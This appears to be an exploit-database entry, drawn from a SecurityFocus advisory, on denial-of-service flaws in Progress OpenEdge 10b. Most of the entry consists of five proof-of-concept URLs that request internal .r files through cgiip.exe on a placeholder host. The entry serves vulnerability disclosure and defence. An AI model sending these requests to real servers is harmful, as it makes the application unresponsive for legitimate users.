Progress OpenEdge 10b - Multiple Denial of Service Vulnerabilities

Author: Eelko Neven
type: dos
platform: windows
port: 
date_added: 2007-05-11 
date_updated: 2013-12-04 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/23926/info

OpenEdge is prone to multiple denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users.

This issue affects OpenEdge 10b; other versions may also be vulnerable.

http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_help.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_comp.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r